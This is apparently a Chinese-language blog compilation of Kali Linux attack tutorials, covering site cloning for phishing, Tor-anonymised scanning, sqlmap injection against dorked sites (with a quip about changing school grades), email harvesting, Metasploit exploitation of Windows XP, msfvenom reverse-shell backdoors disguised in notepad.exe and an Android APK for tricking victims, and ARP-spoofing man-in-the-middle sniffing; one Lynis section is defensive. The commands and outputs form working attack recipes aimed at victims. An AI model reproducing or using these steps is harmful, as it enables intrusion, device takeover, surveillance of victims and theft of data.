HTTrack – 克隆任意网站

HTTrack可以克隆指定网站-把整个网站下载到本地。

可以用在离线浏览上,也可以用来收集信息(甚至有网站使用隐藏的密码文件)。

一些仿真度极高的伪网站(为了骗取用户密码),也是使用类似工具做的。

Kali Linux默认安装了HTTrack。

HTTrack帮助:

# httrack --help

使用示例:

# httrack http://topspeedsnail.com -O /tmp/topspeedsnail

使用tor实现匿名扫描/SSH登录

你要做坏事时,最先应该想到匿名。扫描网站/主机,或利用漏洞;甚至在大天朝发帖都有风险,为了防止半夜鬼敲门,我们可以使用tor实现匿名。

如果你不知道tor是什么,看:https://zh.wikipedia.org/wiki/Torhttps://program-think.blogspot.com/2013/11/tor-faq.html

图示:

在天朝也许要多加一层:

优点:

  • 首先有了一个梯子
  • 你的ISP提供商并不知道你在使用Tor,它也许知道你在使用代理
  • Tor的入口点并不知道你的IP地址,而是代理的ip地址;代理一定要可靠。

安装tor:

# apt-get install tor proxychains

使用代理连接tor网络,下面以lantern为例:

# tor HTTPProxy 127.0.0.1:8787

它可以和大多数的梯子配合使用,但是,最好使用加密的代理(socks/https/vpn)。

使用man tor查看帮助信息.


proxychains可以强制TCP的连接使用代理(Tor),它是一个命令行工具。

配置proxychains使用哪个代理:

# vim /etc/proxychains.conf

默认配置的是tor:

dynamic_chain
#strict_chain
proxy_dns
#socks4     127.0.0.1 9050
socks5 127.0.0.1 9050

使用:

# proxychains curl -O somewebsite
# proxychains theharvester -d 163.com -b google

theharvester是从各种搜索引擎收集信息的工具。


有些应用并不使用代理发送DNS请求,为了防止DNS泄露,使用Privoxy。

# apt-get install privoxy

配置

# vim /etc/privoxy/config

写入一行:

forward-socks5   /               127.0.0.1:9050 .

匿名扫描:

# proxychains nmap -Pn -sT -p 80,443,21,22,23 google.com

匿名SSH登录:

# torify ssh user@ip_address

使用sqlmap执行SQL注入攻击

sqlmap是开源的SQL注入自动攻击工具,它可以自动的探测SQL注入点并且进一步控制网站的数据库。

Kali Linux默认安装了这个工具。

找到潜在的攻击目标

第一步是找到有SQL注入漏洞的网站。如果你没有特定攻击目标,可以使用Google搜索 php?id=1 (或php?id= + xx系医院):

找到结果中的url:

http://www.test.com/index.php?id=1

检测是否有SQL注入漏洞;在url后添加一个’符号,使用浏览器访问:

http://www.test.com/index.php?id=1'

如果网站没有SQL注入漏洞,使用上面的地址访问不会有问题。如果有SQL注入漏洞,会有错误输出:

中国很多企事业的网站都有漏洞,有很多学校网站的漏洞早已被发到了网上,这帮家伙也不修复。

入侵学校网站,修改成绩,有没有人想过:)。

关于使用sqlmap的法律问题:

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

SQL注入

测试SQL注入:

# sqlmap -u http://www.test.com/index.php?id=1 --dbs

自动探测数据库类型和漏洞,如果成功会列出数据库:

获得某个数据库中的表:

# sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables

获得表的字段:

# sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns

下载某一字段的数据:

# sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump

更多选项,参考man手册:

# man sqlmap

使用Metasploit收集邮箱信息

Metasploit提供了很多辅助的模块,非常实用。今天介绍一个叫search_email_collector的模块,它的功能是查找搜索引擎(google、bing、yahoo),收集和某个域名有关的邮箱地址。

使用步骤:

启动msfconsole:

# service postgresql start
# msfconsole

搜索模块:

msf > search gather auxiliary

找到search_email_collector:

使用search_email_collector:

msf > use auxiliary/gather/search_email_collector

注:如果你不能使用google搜素,把SEARCH_GOOGLE设置为false:

 > set SEARCH_GOOGLE false

要收集某个域名的邮箱信息:

> set DOMAIN your_target.com

开始收集:

> run

由于使用搜索引擎,所以并不保证100%可靠。

黑客可以利用这些信息进行网络钓鱼,骗取个人信息。其实这种攻击是社会工程学攻击中最不危险的一种。

类似的工具还有theharvester:

# theharvester
# theharvester -d microsoft.com -l 500 -b google -h myresults.html
# theharvester -d microsoft.com -b pgp
# theharvester -d microsoft -l 200 -b linkedin
# theharvester -d apple.com -b googleCSE -l 500 -s 300

安装使用lynis扫描Linux的安全漏洞

Lynis是Linux平台上的一款安全漏洞扫描工具。它可以扫描系统的安全漏洞、收集系统信息、安装的软件信息、配置问题、没有设置密码的用户和防火墙等等。

Lynis是流行可靠的安全扫描工具。

前不久,Lynis更新了版本,Lynis发布了2.2.0。在这个版本上增加了新的特性和一些小的功能提升。我建议使用Lynis的最新版本2.2.0。

下面我在Ubuntu上安装Lynis 2.2.0。

安装Lynis

Lynis可以安装在系统中的任意目录,创建一个目录/opt/lynis:

$ sudo mkdir /opt/lynis

使用wget下载Lynis:

cd /opt/lynis
$ sudo wget https://cisofy.com/files/lynis-2.2.0.tar.gz

解压下载的tar包:

$ sudo tar -xvf lynis-2.2.0.tar.gz

使用Lynis

运行lynis需要root权限,执行:

cd lynis
$ sudo ./lynis

不给指定参数,它会列出可用的参数,如下图:

为了执行Lynis,你可以指定–check-all开始扫描整个Linux系统。命令如下:

$ sudo ./lynis --check-all

键入回车开始扫描系统:

执行上面命令总需要输入回车才能往下执行,你可以使用-c和-Q选项跳过用户输入:

$ sudo ./lynis -c -Q

创建Lynis计划任务-cron job

如果你想为你的系统创建一个日扫描报告,你可以设置cron:

$ crontab -e

添加cron任务:

30    22    *    *    *    root    /opt/lynis -c -Q --auditor "automated" --cronjob

上面任务每天晚上10:30会执行扫描,并把输出的信息保存到/var/log/lynis.log日志文件中。

Metasploit的基本使用

Metasploit可以在Linux、Windows和Mac OS X系统上运行。我假设你已安装了Metasploit,或者你使用的系统是Kali Linux。它有命令行接口也有GUI接口。

我使用的系统是Kali Linux,本文以这个系统为例。

图形用户界面接口:Armitage

命令行接口:msfconsole

msfconsole

使用metasploit的基本步骤:

  • 运行msfconsole
  • 确定远程主机
  • 找到一个漏洞并使用这个漏洞
  • 配置漏洞选项
  • 入侵远程主机

metasploit内建了很多文档,查看方法:

msf > help
msf > help search

获得远程主机信息

你可以在mfs中运行nmap命令:

msf > nmap -v -sV some_host

也可以使用db_nmap,结果输出到metasploit数据库:

msf > db_nmap -v -sV some_host

更多扫描工具:

msf > search portscan

列出db_nmap找到的主机:

msf > hosts

把这些主机加入到目标主机:

msf > hosts -R

也可以使用set RHOST your_target_ip设置目标IP。

这一步的目的是获得要目标主机的系统信息,为下一步选择漏洞和利用漏洞做准备。

其他扫描漏洞的工具:lynix、maltego、wp-scan等等。


显示metasploit中所有可以利用的模块:

msf > show
msf > show auxiliary
msf > show exploits
msf > show payloads
msf > show encoders
msf > show nops

搜索可以利用的漏洞:

msf > search type:exploit
msf > search CVE-xxxx-xxx
msf > search cve:2014
msf > search name:wordpress
msf > search name:mysql
msf > search path:scada
msf > search platform:aix
msf > search type:post
msf > search windows type:exploit
...

使用一个漏洞:

msf > use exploit/path/to/exploit_name

设置payload:

msf > show payloads
msf > set payload path/to/payload

入侵:

msf > exploit

如果没有成功,重新选择漏洞。

演示使用Metasploit入侵Windows

我使用Kali Linux的IP地址是192.168.0.112;在同一局域网内有一台运行Windows XP(192.168.0.108)的测试电脑。

本文演示怎么使用Metasploit入侵windows xp sp3。

启动msfconsole:

# msfconsole

选择一个漏洞:

msf > search platform: windows xp sp3 

exploit/windows/smb/ms08_067_netapi是08年发现的漏洞,等级Great。

查看某个漏洞的详细信息;包含使用方法、支持的平台等等,非常有帮助:

msf > info exploit/windows/smb/ms08_067_netapi

依次执行如下命令:

msf > use exploit/windows/smb/ms08_067_netapi
> set payload windows/meterpreter/bind_tcp
> set RHOST 192.168.0.108  (设置目标主机IP地址)
> exploit

如果目标主机有这个漏洞的话,你就可以控制它了;如果没有,尝试使用其他漏洞。

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese
[*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (751104 bytes) to 192.168.0.108
[*] Meterpreter session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32
meterpreter >

现在你就可以控制目标主机了,可以截屏、录音、视频、下载文件、杀进程等等;使用help查看可以执行的命令。

演示使用后门程序侵入Windows

原理:在Kali Linux上生成后门程序,然后把它发送给受害者,欺骗受害者运行(使用邮件、图片等等)。难点是需要过杀毒软件和防火墙。

生成后门程序:

我把后门程序隐藏到记事本程序中:notepad.exe

查看Kali Linux的IP:ifconfig(192.168.0.112)

创建后门程序,my_backdoor.exe:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4445 -x NOTEPAD.EXE -e x86/jmp_call_additive -i 4 -k -f exe > my_backdoor.exe

上面命令使用加密试图躲过杀毒软件,但是,不要期望它可以生效。使用man msfvenom查看帮助。

把它发送到Windows系统,并运行;如果不能运行换用其他加密方式。

启动msfconsole:

# msfconsole
use exploit/multi/handler
set LHOST 192.168.0.112
set LPORT 4445
set payload windows/meterpreter/reverse_tcp
show options
exploit

等待受害者启动后门程序。

OK,入侵成功。

演示使用Metasploit入侵Android

文本演示怎么使用Kali Linux入侵Android手机。

Kali Linux IP地址:192.168.0.112;接收连接的端口:443。

同一局域网内android手机一部(android 5.1)

创建一个后门程序

在终端中执行:

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=443 > my_backdoor.apk

这个后门程序(APK)是发送给受害者的;要把上面命令的IP地址替换为攻击者IP,当后门程序运行时,它会试图连接这个IP。

启动Metasploit-等待受害者启动后门程序

msfconsole

依次执行:

msf > use exploit/multi/handler
    > set payload android/meterpreter/reverse_tcp
    > set lhost 192.168.0.112
    > set lport 443
    > exploit

分发后门程序

一般后门程序都打包到正常app中,反正就是各种藏;

借助internet分发后门程序。

闲话不多书,这里我在自己的android手机上安装运行带后门的apk。

病毒!!!

控制受害者手机

受害者运行后门程序之后,就可以使用Metasploit控制他了:

使用help查看可以使用的命令:

例如使用对方的摄像头拍照:

> webcam_list
> webcam_snap

怎么防范:

  • 不要安装不信任的apk

Kali Linux ettercap的使用

ettercap是执行ARP欺骗嗅探的工具,通常用它来施行中间人攻击。

我还介绍过另一个arp欺骗工具-arpspoof
我使用的是Kali Linux 2.0;在开始使用ettercap之前,先配置一下:

编辑配置文件/etc/ettercap/etter.conf:

# vim /etc/ettercap/etter.conf

找到privs一段,改为:

ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default

在176行”if you use iptables”,去掉注释:

 redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dpor    t %port -j REDIRECT --to-port %rport"
 redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dpo    rt %port -j REDIRECT --to-port %rport"

保存退出。

如果你没有打开端口转发,打开方法:

# echo '1' > /proc/sys/net/ipv4/ip_forward

ettercap图形用户界面:Applications->Sniffing & Spoofing->ettercap-graphical:

Options菜单里确保选择Promisc mode;

Sniff菜单中选择Unified sniffing:选择使用的网络接口,我使用wlan0;如果你使用有线,选择eth0;

Host->Scan for hosts,扫描当前网络中的所有主机。

Host->Host list,扫描到的主机列表:

然后我们就可以选择要攻击的目标了,例如,选择192.168.0.105的IP地址,点击Add to Target 1(添加到目标1),然后选择网关的IP地址192.168.0.1,点击Add to Target 2(添加到目标2)。所有从192.168.0.105发送的数据都会经过Kali Linux。

如果还要截获发送给192.168.0.105的数据,把192.168.0.1添加到Target 1,192.168.0.105添加到Target 2,这实现双向监听数据。

可以添加多个主机。

查看添加的攻击目标:Targets->Current targets:

再次确保已开启端口转发,有时会自己关上,不知道为什么:

# echo '1' > /proc/sys/net/ipv4/ip_forward

开始攻击:Mitm->ARP Poisoning,选择参数,Sniff remote connections。

这个时候目标主机的所有流量都是通过攻击者的主机出去的,想抓啥就抓啥。

和Wireshark配合使用


ettercap命令行工具就不解释了。看man手册就成了。

使用Kali Linux执行中间人攻击(演示)

中间人攻击也叫Man-In-The-Middle-Attack。

我假设你已经知道中间人攻击的基本概念,引用一段wikipedia:

中间人攻击(Man-in-the-middle attack,缩写:MITM)是指攻击者与通讯的两端分别建立独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可以拦截通讯双方的通话并插入新的内容。在许多情况下这是很简单的(例如,在一个未加密的Wi-Fi 无线接入点的接受范围内的中间人攻击者,可以将自己作为一个中间人插入这个网络)。

一个中间人攻击能成功的前提条件是攻击者能将自己伪装成每一个参与会话的终端,并且不被其他终端识破。中间人攻击是一个(缺乏)相互认证的攻击。大多数的加密协议都专门加入了一些特殊的认证方法以阻止中间人攻击。例如,SSL协议可以验证参与通讯的一方或双方使用的证书是否是由权威的受信任的数字证书认证机构颁发,并且能执行双向身份认证。

我画了一个简单的图示:

  • 受害者IP地址:192.168.0.106
  • Kali Linux的IP地址:192.168.0.112,使用网络接口wlan0
  • 路由器IP地址:192.168.0.1

使用到的工具:

  • arpspoof
  • driftnet
  • urlsnarf

打开端口转发

确保Kali Linux打开端口转发,因为Kali Linux要起到中转的作用,开启方法:

端口转发通常用来让我们的计算机表现的像个路由器。个人计算机收到数据包之后再转发到其他目标计算机。

改变/proc/sys/net/ipv4/ip_forward的值,把值改为1:

echo '1' > /proc/sys/net/ipv4/ip_forward

上面的方法是临时的,系统重启失效。要想永久,vpn里有设置方法。

拦截数据包

受害者->路由器:

# arpspoof -i wlan0 -t 192.168.0.106 192.168.0.1

arpspoof redirects packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies. This is an extremely effective way of sniffing traffic on a switch.

路由器->受害者:

再打开一个终端,执行:

# arpspoof -i wlan0 -t 192.168.0.1 192.168.0.106

经过执行上面两个命令,现在受害者电脑接收和发送的所有数据包都经过Kali Linux,这时你就可以使用抓包分析工具了(Wireshark)。

攻击原理:攻击者说服受害者计算机-攻击者计算机的Mac地址就是路由器的Mac地址。

driftnet:监控受害者电脑的图片流量

Driftnet watches network traffic, and picks out and displays JPEG and GIF images for display. It is an horrific invasion of privacy and shouldn’t be used by anyone anywhere. It has been described as a graphical tcpdump(8)’, EtherPeg for Unix’, and called all sorts of nasty names by people on Freshmeat. It is also possible to use driftnet to capture MPEG audio data from the network and play it through a player such as mpg123(1).

It is an horrific invasion of privacy and shouldn’t be used by anyone anywhere.

打开新终端,执行:

# driftnet -i wlan0

当受害者电脑浏览带图片的网站(http)时,可以截获图像:

数据加密可以有效防止中间人攻击。

urlsnarf:获得受害者的HTTP请求

urlsnarf outputs all requested URLs sniffed from HTTP traffic in CLF(Common Log Format, used by almost all web servers), suitable for off‐line post-processing with your favorite web log analysis tool (analog,wwwstat, etc.).

sslstrip:

自行查看man手册